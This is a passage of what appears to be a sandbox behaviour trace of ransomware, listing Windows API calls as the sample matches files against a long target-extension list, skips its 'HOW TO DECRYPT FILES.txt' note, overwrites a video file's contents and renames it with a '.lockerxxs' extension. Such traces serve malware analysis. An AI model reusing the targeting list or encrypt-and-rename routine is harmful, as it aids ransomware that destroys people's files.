(lpString="*.gz") returned 4 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mkv") returned 0 [0086.713] lstrlenA (lpString="*.mkv") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.eml") returned 0 [0086.713] lstrlenA (lpString="*.eml") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.msg") returned 0 [0086.713] lstrlenA (lpString="*.msg") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.edb") returned 0 [0086.713] lstrlenA (lpString="*.edb") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.accdb") returned 0 [0086.713] lstrlenA (lpString="*.accdb") returned 7 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.odb") returned 0 [0086.713] lstrlenA (lpString="*.odb") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.java") returned 0 [0086.713] lstrlenA (lpString="*.java") returned 6 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.asm") returned 0 [0086.713] lstrlenA (lpString="*.asm") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.pfx") returned 0 [0086.713] lstrlenA (lpString="*.pfx") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.pem") returned 0 [0086.713] lstrlenA (lpString="*.pem") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.p12") returned 0 [0086.714] lstrlenA (lpString="*.p12") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.gpg") returned 0 [0086.714] lstrlenA (lpString="*.gpg") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.vsd") returned 0 [0086.714] lstrlenA (lpString="*.vsd") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.odg") returned 0 [0086.714] lstrlenA (lpString="*.odg") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.raw") returned 0 [0086.714] lstrlenA (lpString="*.raw") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.nef") returned 0 [0086.714] lstrlenA (lpString="*.nef") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.svg") returned 0 [0086.714] lstrlenA (lpString="*.svg") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.psd") returned 0 [0086.714] lstrlenA (lpString="*.psd") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.vmx") returned 0 [0086.714] lstrlenA (lpString="*.vmx") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.vmdk") returned 0 [0086.714] lstrlenA (lpString="*.vmdk") returned 6 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.vdi") returned 0 [0086.714] lstrlenA (lpString="*.vdi") returned 5 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.lay6") returned 0 [0086.714] lstrlenA (lpString="*.lay6") returned 6 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mpeg") returned 0 [0086.714] lstrlenA (lpString="*.mpeg") returned 6 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.djvu") returned 0 [0086.714] lstrlenA (lpString="*.djvu") returned 6 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.tiff") returned 0 [0086.714] lstrlenA (lpString="*.tiff") returned 6 [0086.714] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.backup") returned 0 [0086.715] lstrlenA (lpString="*.backup") returned 8 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.pdf") returned 0 [0086.715] lstrlenA (lpString="*.pdf") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.cert") returned 0 [0086.715] lstrlenA (lpString="*.cert") returned 6 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.docm") returned 0 [0086.715] lstrlenA (lpString="*.docm") returned 6 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.xlsm") returned 0 [0086.715] lstrlenA (lpString="*.xlsm") returned 6 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.dwg") returned 0 [0086.715] lstrlenA (lpString="*.dwg") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.nd") returned 0 [0086.715] lstrlenA (lpString="*.nd") returned 4 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.tlg") returned 0 [0086.715] lstrlenA (lpString="*.tlg") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.lgb") returned 0 [0086.715] lstrlenA (lpString="*.lgb") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mov") returned 0 [0086.715] lstrlenA (lpString="*.mov") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.xdw") returned 0 [0086.715] lstrlenA (lpString="*.xdw") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.ods") returned 0 [0086.715] lstrlenA (lpString="*.ods") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.wav") returned 0 [0086.715] lstrlenA (lpString="*.wav") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mp3") returned 0 [0086.715] lstrlenA (lpString="*.mp3") returned 5 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.aiff") returned 0 [0086.715] lstrlenA (lpString="*.aiff") returned 6 [0086.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.flac") returned 0 [0086.715] lstrlenA (lpString="*.flac") returned 6 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.m4a") returned 0 [0086.716] lstrlenA (lpString="*.m4a") returned 5 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.csv") returned 0 [0086.716] lstrlenA (lpString="*.csv") returned 5 [0086.716] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2473860, ftCreationTime.dwHighDateTime=0x1d5ddc7, ftLastAccessTime.dwLowDateTime=0xb71027e0, ftLastAccessTime.dwHighDateTime=0x1d5d9f2, ftLastWriteTime.dwLowDateTime=0xb71027e0, ftLastWriteTime.dwHighDateTime=0x1d5d9f2, nFileSizeHigh=0x0, nFileSizeLow=0x12fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TDj84.mp4", cAlternateFileName="")) returned 1 [0086.716] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.716] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TDj84.mp4") returned -1 [0086.716] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TDj84.mp4") returned -1 [0086.716] lstrcmpiA (lpString1="", lpString2="TDj84.mp4") returned -1 [0086.716] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf") returned="RWUTVg_ONjBOpHH.swf" [0086.716] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.716] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.716] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.716] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.716] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="TDj84.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.ems") returned 0 [0086.716] lstrlenA (lpString="*.ems") returned 5 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.db") returned 0 [0086.716] lstrlenA (lpString="*.db") returned 4 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.dbf") returned 0 [0086.716] lstrlenA (lpString="*.dbf") returned 5 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.myox") returned 0 [0086.716] lstrlenA (lpString="*.myox") returned 6 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.myo") returned 0 [0086.716] lstrlenA (lpString="*.myo") returned 5 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbw") returned 0 [0086.716] lstrlenA (lpString="*.qbw") returned 5 [0086.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbb") returned 0 [0086.716] lstrlenA (lpString="*.qbb") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbm") returned 0 [0086.717] lstrlenA (lpString="*.qbm") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbo") returned 0 [0086.717] lstrlenA (lpString="*.qbo") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbx") returned 0 [0086.717] lstrlenA (lpString="*.qbx") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qba") returned 0 [0086.717] lstrlenA (lpString="*.qba") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qby") returned 0 [0086.717] lstrlenA (lpString="*.qby") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qbj") returned 0 [0086.717] lstrlenA (lpString="*.qbj") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.ofx") returned 0 [0086.717] lstrlenA (lpString="*.ofx") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.qif") returned 0 [0086.717] lstrlenA (lpString="*.qif") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.mye") returned 0 [0086.717] lstrlenA (lpString="*.mye") returned 5 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.mbox") returned 0 [0086.717] lstrlenA (lpString="*.mbox") returned 6 [0086.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.eml") returned 0 [0086.717] lstrlenA (lpString="*.eml") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.pst") returned 0 [0086.718] lstrlenA (lpString="*.pst") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.ost") returned 0 [0086.718] lstrlenA (lpString="*.ost") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.idx") returned 0 [0086.718] lstrlenA (lpString="*.idx") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.dbx") returned 0 [0086.718] lstrlenA (lpString="*.dbx") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.sql") returned 0 [0086.718] lstrlenA (lpString="*.sql") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.mdb") returned 0 [0086.718] lstrlenA (lpString="*.mdb") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.fdb") returned 0 [0086.718] lstrlenA (lpString="*.fdb") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.wab") returned 0 [0086.718] lstrlenA (lpString="*.wab") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.dat") returned 0 [0086.718] lstrlenA (lpString="*.dat") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.txt") returned 0 [0086.718] lstrlenA (lpString="*.txt") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.jpeg") returned 0 [0086.718] lstrlenA (lpString="*.jpeg") returned 6 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.jpg") returned 0 [0086.718] lstrlenA (lpString="*.jpg") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.png") returned 0 [0086.718] lstrlenA (lpString="*.png") returned 5 [0086.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.php") returned 0 [0086.719] lstrlenA (lpString="*.php") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.cs") returned 0 [0086.719] lstrlenA (lpString="*.cs") returned 4 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.cpp") returned 0 [0086.719] lstrlenA (lpString="*.cpp") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.rar") returned 0 [0086.719] lstrlenA (lpString="*.rar") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.zip") returned 0 [0086.719] lstrlenA (lpString="*.zip") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.html") returned 0 [0086.719] lstrlenA (lpString="*.html") returned 6 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.htm") returned 0 [0086.719] lstrlenA (lpString="*.htm") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.xlsx") returned 0 [0086.719] lstrlenA (lpString="*.xlsx") returned 6 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.xls") returned 0 [0086.719] lstrlenA (lpString="*.xls") returned 5 [0086.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", pszSpec="*.mp4") returned 1 [0086.719] lstrlenA (lpString="*.mp4") returned 5 [0086.719] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" [0086.719] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" [0086.719] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4." [0086.719] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4.lockerxxs" [0086.719] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tdj84.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.720] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12fea [0086.720] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb2473860, dwHighDateTime=0x1d5ddc7), lpLastAccessTime=0x407536*(dwLowDateTime=0xb71027e0, dwHighDateTime=0x1d5d9f2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb71027e0, dwHighDateTime=0x1d5d9f2)) returned 1 [0086.720] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.720] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x12fc4, lpOverlapped=0x0) returned 1 [0086.722] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4") returned="TDj84.mp4" [0086.723] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.723] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x12fc4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x12fc4, lpOverlapped=0x0) returned 1 [0086.723] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.723] CloseHandle (hObject=0x90) returned 1 [0086.723] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tdj84.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tdj84.mp4.lockerxxs")) returned 1 [0086.725] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xef0001ee, dwReserved1=0x4e00c4, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0086.725] lstrcmpA (lpString1=".", lpString2="Temporary Internet Files") returned -1 [0086.725] lstrcmpA (lpString1="..", lpString2="Temporary Internet Files") returned -1 [0086.725] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TDj84.mp4") returned="TDj84.mp4" [0086.725] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files" [0086.725] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files") returned 73 [0086.725] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, 